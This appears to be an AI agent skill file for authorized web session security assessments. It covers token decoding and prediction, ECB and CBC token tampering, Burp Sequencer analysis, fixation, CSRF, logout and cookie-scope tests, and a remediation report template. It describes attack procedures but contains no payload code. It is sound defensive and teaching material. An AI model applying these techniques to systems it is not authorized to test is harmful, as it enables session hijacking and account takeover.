@clawhub-quochungto-93dad49abd
Systematically assess web application session management for security vulnerabilities. Use when testing session token generation quality, cookie security con...
---
name: session-management-security-assessment
description: |
Systematically assess web application session management for security vulnerabilities. Use when testing session token generation quality, cookie security configuration, session fixation susceptibility, cross-site request forgery (CSRF) exposure, or session token handling across a session's full lifecycle. Covers the complete taxonomy of generation weaknesses (meaningful tokens with user data embedded, predictable tokens from concealed sequences or time-dependent algorithms or weak pseudorandom number generators, encrypted tokens vulnerable to ECB block rearrangement or CBC bit-flipping) and handling weaknesses (cleartext transmission, token disclosure in server logs or URLs, vulnerable token-to-session mapping, ineffective logout and expiration, client-side hijacking exposure, overly liberal cookie domain or path scope). Use when someone says 'test our session tokens', 'analyze cookie security', 'check for session fixation', 'verify CSRF protection', 'assess token predictability', 'evaluate our session management', 'can session tokens be guessed', 'review logout implementation', 'check cookie flags', or 'audit session security'. Produces a structured vulnerability report with per-weakness findings and remediation guidance. Framed for authorized security testing, defensive security assessment, and educational contexts.
model: sonnet
context: 1M
execution:
tier: 2
mode: hybrid
inputs:
- type: codebase
description: "Source code, HTTP traffic captures, server configuration, security scan reports"
- type: none
description: "Can also operate from live application access in an authorized test environment"
tools-required: [Read, TodoWrite]
tools-optional: [Grep, Bash, WebFetch]
environment: "Authorized penetration test or security assessment environment; codebase or HTTP proxy history preferred"
---
# Session Management Security Assessment
## When to Use
Use this skill when you are conducting an **authorized security assessment** of a web application's session management mechanism. Applicable contexts:
- **Penetration testing** — systematically finding exploitable session weaknesses before an attacker does
- **Security code review** — evaluating session token generation logic, cookie configuration, and lifecycle management in source code
- **Security architecture review** — assessing whether the session design meets security requirements before deployment
- **Vulnerability verification** — confirming or ruling out reported session issues with structured test evidence
This skill covers two orthogonal vulnerability classes: weaknesses in how tokens are **generated** (can an attacker predict or derive tokens issued to other users?) and weaknesses in how tokens are **handled** after generation (can an attacker obtain or misuse tokens through network capture, log access, fixation, or client-side attacks?).
**Preconditions:** You have at least one of:
- Source code including session token generation logic
- HTTP proxy history from an authenticated walkthrough of the application
- Live authorized access to a test instance of the application
**Agent:** This assessment requires authorized access. Confirm scope authorization before beginning any active testing steps. Do not perform active token capture or manipulation against systems you are not authorized to test.
## Context & Input Gathering
### Input Sufficiency Check
```
User prompt → Extract: application under test, scope authorization, available artifacts
↓
Environment → Scan for: source files, HTTP logs, config files, cookie headers
↓
Gap analysis → Do I know WHAT to test and DO I have authorized access?
↓
Missing critical info? ──YES──→ ASK (one question at a time)
│
NO
↓
Confirm authorization → PROCEED with systematic assessment
```
### Required Context (must have — ask if missing)
- **Authorization confirmation:** Is this assessment authorized? Who authorized it and for which systems?
→ Without this, do not proceed with active testing steps.
- **Application identity:** Which application or endpoint is being assessed?
→ Check prompt for: URL, application name, repository path, or system description.
- **Available artifacts:** What artifacts are available — source code, HTTP proxy history, live access?
→ This determines which assessment steps can be performed with full confidence vs inferred.
### Observable Context (gather from environment)
- **Session token location:** How is the session token transmitted? Cookie, URL parameter, hidden form field, custom header?
→ Grep for: `Set-Cookie`, `sessionId`, `jsessionid`, `PHPSESSID`, `ASP.NET_SessionId`, `token=` in URL patterns
→ WHY: The transmission mechanism determines which handling weakness tests apply (e.g., URL transmission exposes to log disclosure; cookies expose to scope and flag issues).
- **Token generation code:** Where and how are tokens generated?
→ Grep for: `Random`, `SecureRandom`, `uuid`, `session_start`, `generateToken`, `Math.random`, `rand()`
→ WHY: Generation code reveals whether the source of entropy is cryptographically secure.
- **Cookie attributes:** What flags are set on session cookies?
→ Grep for: `Secure`, `HttpOnly`, `SameSite`, `domain=`, `path=` in `Set-Cookie` headers or config
→ WHY: Missing `Secure` flag allows cleartext transmission; missing `HttpOnly` enables JavaScript access; overly broad `domain=` widens attack surface.
- **Session lifecycle code:** How are sessions created, refreshed, and destroyed?
→ Grep for: login handlers, logout endpoints, session invalidation calls (`session.invalidate()`, `session_destroy()`, `Session.Abandon()`)
→ WHY: Lifecycle gaps (no token rotation on login, no server-side invalidation on logout) are independent of token strength.
### Default Assumptions
- If transport protocol is not confirmed: assume mixed HTTP/HTTPS until verified — do not assume HTTPS everywhere without checking.
- If cookie flags are not visible: assume absent until confirmed present in `Set-Cookie` response headers.
- If logout implementation is unclear: test server-side invalidation explicitly — client-side cookie deletion is not sufficient.
## Process
Use `TodoWrite` to track assessment steps before beginning.
```
TodoWrite([
{ id: "1", content: "Identify session token(s) and transmission mechanism", status: "pending" },
{ id: "2", content: "Assess token generation: meaningful token analysis", status: "pending" },
{ id: "3", content: "Assess token generation: predictability analysis (concealed sequences, time dependency, weak PRNG)", status: "pending" },
{ id: "4", content: "Assess token generation: encrypted token analysis (ECB block rearrangement, CBC bit-flipping)", status: "pending" },
{ id: "5", content: "Run statistical randomness analysis via Burp Sequencer protocol", status: "pending" },
{ id: "6", content: "Assess token handling: network disclosure (HTTPS coverage, Secure flag, HTTP downgrade paths)", status: "pending" },
{ id: "7", content: "Assess token handling: log disclosure (URL-based tokens, admin monitoring exposure)", status: "pending" },
{ id: "8", content: "Assess token handling: token-to-session mapping (concurrent sessions, static tokens)", status: "pending" },
{ id: "9", content: "Assess token handling: session termination (expiration timeout, logout server-side invalidation)", status: "pending" },
{ id: "10", content: "Assess token handling: session fixation (4 test cases)", status: "pending" },
{ id: "11", content: "Assess token handling: CSRF exposure", status: "pending" },
{ id: "12", content: "Assess token handling: cookie scope (domain and path attributes)", status: "pending" },
{ id: "13", content: "Compile findings report with severity ratings and remediation", status: "pending" }
])
```
---
### Step 1: Identify Session Tokens and Transmission Mechanism
**ACTION:** Identify every item of data that functions as a session token. Do not assume the standard platform cookie is the only token — applications often use multiple items across cookies, URL parameters, and hidden form fields. Confirm which items are actually validated by the server for session state.
**WHY:** Applications may employ several items collectively as a token, using different components for different back-end subsystems. The standard session cookie generated by the web server may be present but not actually used. Additionally, an item that appears to be a session token may be ignored by the server, meaning its modification would go undetected — a finding in itself. Narrowing the actual validated components reduces wasted analysis effort on inert data.
**Detection method:**
1. Walk through the application from the start URL through the login function. Note every new item passed to the browser.
2. Find a page that is definitively session-dependent (e.g., "My Account" or "My Details") — one that returns content specific to the authenticated user.
3. Make repeated requests to that page, systematically removing each suspected token item. If removing an item causes the session-dependent content to disappear or redirect to login, the item is confirmed as a session token.
4. Use Burp Repeater or equivalent to perform this systematically.
**Also check for alternatives to sessions:**
- If token-like items are 100+ bytes, re-issued on every request, and appear encrypted or signed, the application may use sessionless state (transmitting all session data client-side). These require different testing — check for integrity protection and replay resistance rather than token prediction.
- If the application uses HTTP Basic/Digest/NTLM authentication without session cookies, session management attacks may not apply.
Mark Step 1 complete in TodoWrite.
---
### Step 2: Assess Token Generation — Meaningful Tokens
**ACTION:** Determine whether session tokens encode user-identifiable or predictable information (username, email, user ID, role, timestamp, IP address) in raw, encoded, or obfuscated form.
**WHY:** A token that encodes the username — even if hex-encoded or Base64-encoded — allows an attacker to construct valid tokens for any known user without interacting with the server. The apparent complexity of the token string is irrelevant if the underlying data is structured and user-specific.
**Test procedure:**
1. Obtain tokens for multiple different users by logging in with different accounts (use accounts with similar but slightly varying usernames: A, AA, AAA, AAAB, etc., to isolate the username component in the token).
2. Apply progressive decodings to each token and its components: hex decode → Base64 decode → XOR decode. Look for recognizable strings (usernames, email patterns, dates).
3. Look for structural indicators: only hexadecimal characters (possible hex encoding of ASCII), trailing `=` signs or charset `a-z A-Z 0-9 +/` (Base64 signatures), repeated character sequences matching username length.
4. Analyze correlations: do tokens for similar usernames share substrings? Does the token length vary with username length?
5. If tokens appear structured (delimiter-separated components), analyze each component independently. Some components may be random while others are meaningful.
**If meaning is found:**
- Determine whether the meaningful component is actually validated by the server (Step 1 procedure: modify that component and verify rejection).
- If validated: the application is directly vulnerable — an attacker can enumerate valid tokens for known usernames.
- If not validated: the component is decorative padding; remove it from further analysis.
Mark Step 2 complete in TodoWrite.
---
### Step 3: Assess Token Generation — Predictability
**ACTION:** Assess whether token values follow sequences that allow extrapolation to other users' tokens, even when the tokens do not contain meaningful user data. Investigate three predictability sources: concealed sequences, time dependency, and weak pseudorandom number generator (PRNG) output.
**WHY:** A token without meaningful user data can still be predictable if it follows an arithmetic sequence or is derived from observable inputs like the current time. An attacker who obtains a sample of tokens can reverse-engineer the generation algorithm and construct tokens issued to other users — without needing any user-specific information.
**3a. Concealed Sequences**
Tokens may appear random in raw form but reveal arithmetic sequences after decoding. Test:
1. Collect 10–20 consecutive tokens by rapidly triggering new session creation.
2. Apply decodings (Base64, hex) to each token and each structural component.
3. If the decoded output is binary, render as hexadecimal integers and compute differences between successive values.
4. Look for a repeating difference — this reveals the increment constant of the generation algorithm.
5. Once the constant is known, the full token sequence (past and future) is reconstructable.
**3b. Time Dependency**
Some token generation algorithms incorporate the current time (epoch milliseconds, microseconds) as a primary input. Test:
1. Collect two batches of tokens separated by a known time interval (e.g., 5–10 minutes apart).
2. In each batch, identify any component that increases monotonically but in variable increments.
3. Compare the difference between the last value of the first batch and the first value of the second batch. If the jump is consistent with the elapsed time (e.g., ~540,000 units in 9 minutes implies milliseconds), the component is time-based.
4. If source code is available, look for `System.currentTimeMillis()`, `time()`, `microtime()`, `Date.now()`, or similar time sources used in token construction.
5. Time-based components are brute-forceable: the range of valid values for a given user's token is bounded by the window of time around the user's login.
**3c. Weak PRNG**
Linear congruential generators (LCGs), `Math.random()`, `java.util.Random`, PHP's `rand()`, and similar non-cryptographic PRNGs produce sequences that are fully predictable from a small sample of output values. The next value (and all previous values) can be derived algebraically. Test:
1. If source code is available, check what randomness source is used: `SecureRandom`, `os.urandom`, `/dev/urandom`, `CryptGenRandom` are strong. `Random`, `Math.random()`, `rand()`, `mt_rand()` are weak.
2. If source code is unavailable, use Burp Sequencer statistical analysis (see Step 5) to measure effective entropy — weak PRNGs fail at many bit positions even when individual tokens appear visually random.
3. Check whether multiple PRNG outputs are concatenated to form a longer token. This is a common misconception: it does not increase entropy beyond the PRNG's internal state size, and may make state reconstruction easier by providing more sample values.
Mark Step 3 complete in TodoWrite.
---
### Step 4: Assess Token Generation — Encrypted Tokens
**ACTION:** Determine whether tokens are encrypted containers for meaningful data, and if so, test for ECB block rearrangement and CBC bit-flipping vulnerabilities.
**WHY:** Applications that encrypt meaningful session data (user ID, role, username) before issuing it as a token assume that encryption prevents tampering. This assumption fails for ECB ciphers (where ciphertext blocks can be rearranged to produce a different plaintext without knowing the key) and CBC ciphers (where bit-flipping a ciphertext byte produces predictable, controlled changes in the subsequent decrypted block).
**Detection — is a block cipher being used?**
1. Register accounts with usernames of increasing length (e.g., 1 character, 2 characters, etc., up to 20+ characters).
2. Monitor session token length. If the token length jumps by 8 or 16 bytes at a specific username length, a block cipher with 64-bit or 128-bit blocks is likely in use (8 bytes = 64-bit block cipher such as DES, 3DES; 16 bytes = 128-bit block cipher such as AES).
3. Confirm by continuing to add characters and observing the same jump occurring again 8 or 16 characters later.
**ECB mode test:**
1. ECB encrypts identical plaintext blocks into identical ciphertext blocks. Rearranging ciphertext blocks causes the corresponding plaintext blocks to be rearranged.
2. Register usernames specifically crafted so that one block of the username (at a known offset) aligns with a block containing a high-privilege field (e.g., UID or role field) in the token plaintext.
3. Duplicate that ciphertext block and insert it at the position of the target field.
4. Submit the modified token. If the application processes the request in the security context of a different user (or with elevated privileges), the ECB rearrangement attack succeeded.
5. Blind approach (no source code): try duplicating and moving ciphertext blocks, observing whether you remain logged in as yourself, become a different user, or are rejected.
**CBC mode test (bit-flipping):**
1. CBC decryption: flipping a bit in ciphertext block N corrupts block N entirely during decryption (renders it as garbage) but causes a predictable, controlled bit-flip in the corresponding position of block N+1's plaintext.
2. Use Burp Intruder's "bit flipper" payload type on the session token (treating it as ASCII hex). This generates ~8 requests per byte of token data — efficient for coverage.
3. Monitor responses for: (a) continued valid session but with a different user identity displayed (bit-flip hit a UID or role field in the following block), or (b) responses that indicate the application is processing corrupted but accepted token data.
4. When a bit-flip causes user context to change: perform a focused attack on that block position, iterating through a wider range of values to reach a target user ID or role.
5. Note: if the application rejects tokens containing invalid field values (e.g., non-numeric UID), the attack may be impractical. If the application only validates certain fields (e.g., only the UID), the attack targets those fields.
Mark Step 4 complete in TodoWrite.
---
### Step 5: Statistical Randomness Analysis — Burp Sequencer Protocol
**ACTION:** Run a structured statistical randomness test on the session token to quantify effective entropy in bits. This is the authoritative test for token generation quality when visual inspection or manual decoding does not reveal a pattern.
**WHY:** A token that passes visual inspection and manual analysis may still fail formal statistical randomness tests. Conversely, a token that fails statistical tests may not be practically predictable if the failing bits are sparse across many positions. The key metric is effective entropy (bits of the token that pass randomness tests): a 50-bit token with 50 random bits is equivalent to a 1,000-bit token with only 50 random bits.
**Collection protocol:**
1. Identify the request that issues a new session token (typically: `GET /` unauthenticated, or `POST /login` after authentication). Send this request to Burp Sequencer via the context menu.
2. Configure Sequencer: select the cookie name or form field containing the session token; set boundary markers if using manual selection.
3. Enable "auto analyse" to trigger analysis at intervals.
4. **Sample size milestones:**
- 100 tokens: minimum for any analysis. Collect before reviewing results in detail.
- 500 tokens: sufficient to detect clear failures. If analysis at this point shows convincing failures, no need to continue.
- 5,000 tokens: adequate for most assessments; tokens that pass here are unlikely to be practically predictable.
- 20,000 tokens: required for full FIPS 140-2 compliance testing. Maximum sample size Burp Sequencer supports.
5. If source IP or username influences token generation, repeat token collection from a different IP address and/or username and compare results to isolate IP/username as an entropy source.
**Interpreting Burp Sequencer results:**
- **Effective entropy (bits):** The headline result. Values below 64 bits indicate weakness for most application contexts; below 32 bits is critically weak.
- **FIPS test results:** Six standardized tests (monobit, poker, runs, long runs, serial correlation, spectral). Failing multiple FIPS tests at many bit positions indicates structural non-randomness.
- **Character-level vs bit-level analysis:** Burp tests at both levels. Large structured portions of a token (e.g., a fixed prefix, a user ID field) are not random — this is expected and not a vulnerability in itself. What matters is whether the random portion provides sufficient entropy.
**Important caveats:**
- A token generated by a weak but algorithmically deterministic PRNG (e.g., a linear congruential generator) may pass all statistical tests while being fully predictable from a small sample. Statistical tests measure distribution, not algorithmic predictability.
- A token that fails statistical tests at a few bit positions may not be practically exploitable if the failure involves only a small number of bits that an attacker would need to simultaneously predict correctly.
Mark Step 5 complete in TodoWrite.
---
### Step 6: Assess Token Handling — Network Disclosure
**ACTION:** Verify that session tokens are never transmitted in cleartext over unencrypted HTTP, and that cookie `Secure` flags are correctly set to enforce this.
**WHY:** A network eavesdropper positioned at any point between client and server — the user's local network, corporate network, ISP, hosting provider — can capture cleartext HTTP traffic. A captured session token grants full session access without knowing user credentials. Even applications that use HTTPS for most content frequently have specific paths (static assets, pre-authentication pages, login forms that accept HTTP) that leak the session token.
**Test procedure:**
1. Walk through the complete application lifecycle: unauthenticated access (start URL), login process, all authenticated functionality. Record every URL and every instance in which a new session token is received or existing token is transmitted. Use Burp Proxy HTTP history for this.
2. Check `Set-Cookie` headers for the `Secure` flag. If `Secure` is absent, the browser will transmit the cookie over HTTP to any path/domain match, including unencrypted requests.
3. Verify whether the application switches from HTTP to HTTPS at any point. If it does:
a. Check whether a session token issued before the HTTPS switch is reused in the authenticated session (pre-authentication token reuse).
b. Verify whether the application also accepts login over plain HTTP if the login URL is accessed directly with `http://` instead of `https://`.
4. Even if HTTPS is used everywhere for the application itself: verify whether the server also listens on port 80. If so, visit any authenticated page URL using `http://` and check whether the token is transmitted.
5. If any static content (images, scripts, stylesheets) is loaded over HTTP from within an HTTPS-delivered page, the session cookie is transmitted with those HTTP requests (no `Secure` flag) or the browser warns (mixed content). Treat either as a vulnerability.
6. If a token for an authenticated session is transmitted over HTTP: verify whether the server immediately invalidates that token upon detecting the insecure transmission. If not, the token remains valid for hijacking.
Mark Step 6 complete in TodoWrite.
---
### Step 7: Assess Token Handling — Log Disclosure
**ACTION:** Identify whether session tokens can be read from system logs, monitoring interfaces, or referrer headers due to token transmission in URLs.
**WHY:** URL-embedded session tokens appear in: web server access logs, browser history, corporate proxy logs, ISP proxy logs, `Referer` headers sent to third-party servers when the user follows an off-site link from within the authenticated session. Log disclosure differs from network disclosure in that it is often accessible to a much wider range of insiders (helpdesk, IT operations, log aggregation system users) and persists across time.
**Test procedure:**
1. Walk through all application functionality and identify any instances where session tokens appear in URL query strings or path components (e.g., `jsessionid=` in the URL path, `token=` in query parameters). Grep for: `inurl:jsessionid`, `?token=`, `?session=` patterns in captured traffic.
2. Identify any administrative, helpdesk, or diagnostic functionality within the application that allows viewing user sessions. Access that functionality with your test account and check whether the actual session token value is displayed. If it is, verify who can access this functionality — anonymous users, any authenticated user, or only administrators.
3. If tokens appear in URLs: attempt to inject an off-site link (via any user-controlled content feature — message boards, profile fields, feedback forms). Monitor the attacker-controlled server's access logs for incoming `Referer` headers containing session tokens from other users.
Mark Step 7 complete in TodoWrite.
---
### Step 8: Assess Token Handling — Vulnerable Token-to-Session Mapping
**ACTION:** Test whether the application correctly maps tokens to sessions, preventing concurrent session abuse and static token reuse.
**WHY:** Even a cryptographically strong token is useless as a security control if the application accepts multiple concurrent valid tokens for the same user, or issues the same token on every login ("static tokens"). Concurrent sessions allow an attacker who has obtained credentials to use a captured token undetected while the legitimate user is also logged in. Static tokens are permanent access credentials, not sessions — compromising them compromises the account permanently.
**Test procedure:**
1. **Concurrent session test:** Log in to the application twice simultaneously using the same user account, from different browser processes or machines. Determine whether both sessions remain active concurrently. If yes: concurrent sessions are permitted. An attacker who has compromised credentials can use them without triggering a conflict.
2. **Static token test:** Log in and log out of the same account multiple times, from different browser processes or machines. Record the session token issued on each login. If the same token is issued on every login: the application is using static tokens. These are not sessions in the security sense — they function as permanent credentials.
3. **Segmented token test (structured tokens only):** If tokens contain both user-identifying components and apparently random components, modify the user-identifying component to refer to a different known user while submitting any valid random component. If the server accepts the modified token and processes the request in the context of the different user: the application has a fundamental token-to-session mapping vulnerability (the user context is determined by user-supplied data outside the session).
Mark Step 8 complete in TodoWrite.
---
### Step 9: Assess Token Handling — Session Termination
**ACTION:** Verify that sessions expire after an appropriate inactivity timeout and that logout actually invalidates the session on the server side.
**WHY:** A long-lived session token extends the attack window — if a token is captured or guessed, it remains valid for use. A logout function that only deletes the browser cookie without invalidating the server-side session is functionally equivalent to no logout: anyone who captured the token before logout can still use it indefinitely. Client-side cookie blanking is not server-side invalidation.
**Test procedure:**
1. **Inactivity timeout test:**
a. Log in and obtain a valid session token.
b. Wait for the intended inactivity period without making any requests (e.g., 10–30 minutes, depending on the application's stated policy).
c. Submit a request for a protected page using the token.
d. If the page renders normally: the inactivity timeout is not enforced or is longer than expected.
e. Use Burp Intruder to automate: configure increasing time intervals between successive requests using the same token to find the timeout boundary.
2. **Logout invalidation test:**
a. Log in and record a session-dependent request (e.g., GET to "My Account") in Burp Proxy history.
b. Perform the logout action in the application.
c. Send the recorded session-dependent request again using the pre-logout token (via Burp Repeater).
d. If the session-dependent page renders successfully: the logout did not invalidate the server-side session.
3. **Client-side vs server-side test:** Examine what the logout response actually does: does it issue a `Set-Cookie` with a blank or expired token value (client-side only), or does it call a server-side invalidation function? Source code review is definitive. If no source code: the Repeater test in step 2 is authoritative.
Mark Step 9 complete in TodoWrite.
---
### Step 10: Assess Token Handling — Session Fixation
**ACTION:** Test four specific scenarios that determine whether an attacker can fix a known token value for a victim, then escalate to authenticated access after the victim logs in.
**WHY:** Session fixation attacks are possible when an application accepts tokens that it did not itself issue, or when it reuses pre-authentication tokens as post-authentication tokens. The attacker supplies a token to the victim (via URL parameter, cookie injection, or simply knowing the format), the victim logs in, and the attacker then uses the known token to access the victim's authenticated session.
**Test procedure — four test cases:**
1. **Pre-authentication token reuse:** If the application issues session tokens to unauthenticated users (e.g., to track anonymous shopping carts), obtain an unauthenticated token and perform a login. If the application does not issue a new token after successful authentication: it is vulnerable. An attacker can obtain an anonymous token, force the victim to use it (URL fixation), and after the victim logs in, use the same token.
2. **Return-to-login token reuse:** Log in to obtain an authenticated token. Return to the login page. If the application serves the login page without issuing a new token (the existing authenticated token is still active): log in again as a different user using the same token. If the application does not issue a new token on the second login: it is vulnerable to fixation between accounts.
3. **Attacker-supplied token acceptance:** Identify the format of valid tokens (from Step 1). Construct a token that conforms to the format (correct length, character set) but is an invented value the application did not issue. Attempt to log in while submitting this invented token in the expected location. If the application creates an authenticated session tied to the invented token: the application accepts attacker-supplied tokens, enabling fixation.
4. **Sensitive data fixation (non-login applications):** If the application does not use authentication but processes sensitive user data (e.g., payment forms, personal details), apply test cases 1 and 3 in relation to the pages that display submitted sensitive data. If a token set during anonymous usage can be used by another party to retrieve that user's sensitive data: the application is vulnerable to fixation against non-authenticated sensitive operations.
**Cross-site request forgery (CSRF) check:**
If the application transmits session tokens via cookies: confirm whether it is protected against CSRF.
1. Log in to the application and identify state-changing operations whose parameters an attacker could determine in advance (fund transfers, password changes, data deletions).
2. From a different browser tab or window in the same browser process, construct a request to that operation (via a crafted form or link) that would originate from a page on a different domain.
3. If the application processes the cross-origin request and executes the state change: it is vulnerable to CSRF. The browser submits the cookie automatically regardless of the request origin.
4. Check for CSRF tokens: does the application include a per-request unpredictable token in a hidden form field or custom header that the server validates? If the application relies solely on cookies and has no CSRF token: assume vulnerable.
Mark Step 10 complete in TodoWrite.
---
### Step 11: Assess Token Handling — Cookie Scope
**ACTION:** Review all `Set-Cookie` response headers for `domain` and `path` attributes. Determine whether cookie scope is more permissive than necessary, exposing session tokens to other applications or subdomains.
**WHY:** A cookie scoped to `wahh-organization.com` is submitted to every subdomain of that organization — including test environments, staging systems, and other applications that may have lower security standards or be accessible to different personnel. A cross-site scripting vulnerability in any application within the cookie's scope can steal tokens from the main application. Cookie scope is often configured at the platform level (web server defaults) rather than by application developers, so it may be unnecessarily broad.
**Test procedure:**
1. Review all `Set-Cookie` headers issued by the application across the full application walkthrough. Note the `domain` and `path` values for session token cookies.
2. If `domain` is set: it is more permissive than the default (which scopes cookies to the exact hostname). Identify all subdomains and applications within the specified domain. Any of these can receive the session cookie.
3. If no `domain` is set: by default, the browser scopes the cookie to the exact hostname. However, subdomains still receive the cookie (e.g., a cookie set by `app.example.com` with no domain attribute is still sent to `app.example.com`, not to `other.example.com`, but default behavior differs by browser implementation — verify).
4. If `path` is set to `/` or a broad path: path-based scope restriction provides no meaningful security separation between applications at different URL paths on the same hostname. Client-side JavaScript at any path on the same origin can read cookies regardless of `path` attribute.
5. Identify all web applications accessible via the domains that will receive the session cookie. Assess their security posture — a stored cross-site scripting vulnerability in any of them could steal tokens from the primary application.
Mark Step 11 complete in TodoWrite.
---
### Step 12: Compile Findings Report
**ACTION:** Consolidate all findings from Steps 2–11 into a structured vulnerability report with severity ratings and remediation guidance.
**WHY:** A finding without remediation guidance is incomplete. Each vulnerability class has a corresponding countermeasure; mapping findings to remediations allows the development team to act without additional research.
**HANDOFF TO HUMAN** — the agent produces the report; the security team or development team prioritizes and implements remediations.
**Report format:**
```markdown
# Session Management Security Assessment Report
## Assessment Scope
[Application name, test date, authorization basis, artifacts reviewed]
## Session Token Identification
[Which items function as session tokens, transmission mechanism, alternatives-to-sessions assessment]
## Part 1: Token Generation Weaknesses
### G1: Meaningful Token Content
**Finding:** [Present / Not detected]
**Evidence:** [Decoded token values, correlation with user data]
**Severity:** [Critical if exploitable | Informational if not validated by server]
**Remediation:** Tokens should be opaque server-generated identifiers. Move all session data to server-side session storage. Never encode user-identifiable data in tokens.
### G2: Predictable Token Sequences
**Finding:** [Present / Not detected — specify: concealed sequence / time dependency / weak PRNG]
**Evidence:** [Sample tokens, decoded sequences, difference analysis, PRNG identification]
**Severity:** [Critical if directly exploitable | High if requires timing correlation]
**Remediation:** Use a cryptographically secure PRNG (CSPRNG) seeded from a high-entropy source (e.g., `SecureRandom`, `os.urandom`, `CryptGenRandom`). Do not use time as a primary entropy source. Do not use linear congruential generators.
### G3: Encrypted Token Vulnerabilities
**Finding:** [ECB block rearrangement / CBC bit-flipping / Not detected]
**Evidence:** [Block cipher detection evidence, manipulation results]
**Severity:** [High — privilege escalation or cross-user access]
**Remediation:** Tokens should not encode sensitive data at all. If encrypted tokens are required, use authenticated encryption (AES-GCM, ChaCha20-Poly1305) to detect any ciphertext modification. Do not use ECB mode. Verify that the entire ciphertext is authenticated before processing any field.
### G4: Statistical Entropy Assessment (Burp Sequencer)
**Finding:** [Effective entropy: X bits. FIPS tests: passed/failed. Notable failures: ...]
**Severity:** [Critical if < 32 bits effective | High if < 64 bits | Low if >= 128 bits]
**Remediation:** Target >= 128 bits of effective entropy. Use platform-provided session management (mature frameworks implement this correctly) rather than custom token generation.
## Part 2: Token Handling Weaknesses
### H1: Network Disclosure
**Finding:** [Cleartext transmission detected / Secure flag absent / HTTP downgrade path found / Not detected]
**Remediation:** Transmit tokens exclusively over HTTPS. Set `Secure` flag on all session cookies. Use HSTS. Redirect HTTP to HTTPS and invalidate any token transmitted over HTTP. Issue a fresh token after the HTTP-to-HTTPS transition.
### H2: Log Disclosure
**Finding:** [Token in URL / Admin monitoring exposes token / Not detected]
**Remediation:** Never transmit session tokens in URL query strings or path components. Use POST for token submission or store in cookies. Administrative monitoring functions should display session metadata (user ID, IP, login time) without exposing the token value itself.
### H3: Vulnerable Token-to-Session Mapping
**Finding:** [Concurrent sessions permitted / Static tokens / Segmented token vulnerability / Not detected]
**Remediation:** Issue a unique token per session. Invalidate all existing sessions when a new login occurs (or alert the user of concurrent access). Never reissue the same token to the same user across separate login events.
### H4: Vulnerable Session Termination
**Finding:** [No inactivity timeout / Logout does not invalidate server-side / Client-side-only cookie deletion / Not detected]
**Remediation:** Implement server-side session invalidation on logout that disposes of all session resources and marks the token as invalid. Implement server-side inactivity timeout (10–30 minutes is typical; match business requirements). Do not rely on client-side cookie deletion as the primary termination mechanism.
### H5: Session Fixation
**Finding:** [Pre-authentication token reused / Return-to-login reuse / Attacker-supplied token accepted / Sensitive data fixation / Not detected]
**Remediation:** Issue a fresh session token immediately after successful authentication. Reject tokens that the server did not itself generate. For non-authenticated sensitive data flows, create a new session at the start of the sensitive data sequence.
### H6: Cross-Site Request Forgery
**Finding:** [Vulnerable — state-changing operations accept cross-origin requests without CSRF token / Not detected]
**Remediation:** Implement per-request CSRF tokens in hidden form fields. Validate the CSRF token on every state-changing request. Consider using the `SameSite=Strict` or `SameSite=Lax` cookie attribute. Require re-authentication before critical operations (fund transfers, password changes).
### H7: Overly Liberal Cookie Scope
**Finding:** [Domain attribute broadens scope to: [list domains] / Path attribute is ineffective for security isolation / Not detected]
**Remediation:** Do not set `domain` attribute unless required — the default (exact hostname) is more restrictive. If subdomains must receive the cookie, audit every subdomain for cross-site scripting and other vulnerabilities. Set cookie scope as restrictively as feasible. Prefer `HttpOnly` to reduce JavaScript access.
## Summary
| # | Weakness | Severity | Status |
|---|----------|----------|--------|
| G1 | Meaningful token content | | |
| G2 | Predictable sequences | | |
| G3 | Encrypted token vulnerability | | |
| G4 | Insufficient entropy | | |
| H1 | Network disclosure | | |
| H2 | Log disclosure | | |
| H3 | Token-to-session mapping | | |
| H4 | Session termination | | |
| H5 | Session fixation | | |
| H6 | CSRF | | |
| H7 | Cookie scope | | |
**Priority remediations:**
1. [Most critical — typically: token generation or network disclosure]
2. [Second priority]
3. [Third priority]
**Positive findings:** [Aspects confirmed secure]
```
Mark Step 12 complete in TodoWrite.
## Key Principles
- **Token generation and token handling are independent failure dimensions.** A cryptographically strong token can still be stolen via network interception, log exposure, or session fixation. A token that is never disclosed can still be useless as a security control if the session lifecycle is broken. Assess both dimensions fully, not just whichever is easier.
- **Statistical randomness tests do not prove cryptographic security.** A deterministic algorithm (linear congruential generator, hash of sequential counter) can produce output that passes all FIPS statistical tests while being perfectly predictable by an attacker who knows the algorithm. Effective entropy is a necessary condition, not a sufficient one. Always investigate the generation algorithm in source code when available.
- **Passing visual inspection is not passing a security test.** Session tokens that "look random" to the eye have repeatedly proven predictable under analysis. Structured statistical analysis (Burp Sequencer at 500+ tokens) and algorithmic analysis (source code review) are required for a defensible assessment.
- **The Secure flag and HTTPS coverage must both be confirmed.** An application that uses HTTPS for all its own pages but loads a single static resource over HTTP exposes the session cookie to network capture on that one HTTP request. Coverage must be total, not partial.
- **Server-side invalidation is the only valid form of logout.** Any logout implementation that relies solely on the client deleting its cookie provides no security against an attacker who has already captured the token. Test logout by replaying a captured pre-logout request after the logout action.
- **Cookie scope is often set at the platform level, not the application level.** Platform defaults may scope cookies to a parent domain across all subdomains. The developer may be unaware. Always check `domain` and `path` attributes explicitly in the `Set-Cookie` response headers, not in application code.
- **Encrypted tokens are not safe from tampering without authentication.** ECB mode allows block rearrangement without decryption. CBC mode allows controlled plaintext modification without decryption. Only authenticated encryption (AEAD) prevents ciphertext manipulation. If tokens must encrypt meaningful data, AES-GCM with verification of the authentication tag before any field is processed is the minimum acceptable approach.
## Examples
**Scenario: E-commerce application — suspected meaningful token**
Trigger: "Our session tokens look like random hex strings but I want to verify they don't encode user data."
Process:
1. Collect tokens for 5 test accounts: usernames `a`, `aa`, `aaa`, `b`, `[email protected]`.
2. Hex-decode each token. Token for `[email protected]` decodes to a semicolon-delimited string: `[email protected];app=shop;date=2026-04-06`. This is a meaningful token.
3. Verify: modify the `user=` component to a different registered email. Submit to a session-dependent page. Application responds with the other user's account data.
4. Confirmed: meaningful token content, directly exploitable for horizontal privilege escalation across all registered accounts.
Output: Critical G1 finding. Remediation: move to opaque server-generated session identifiers; store all session data server-side.
---
**Scenario: Banking application — logout verification**
Trigger: "Verify whether our logout actually terminates sessions."
Process:
1. Log in, navigate to "My Account" page. Record the GET request in Burp Proxy.
2. Send that GET request to Burp Repeater. Confirm it returns account data.
3. Perform logout action via the application UI.
4. In Burp Repeater, re-send the same GET request with the pre-logout session cookie.
5. Application returns: HTTP 200 with full account data. The session token is still valid after logout.
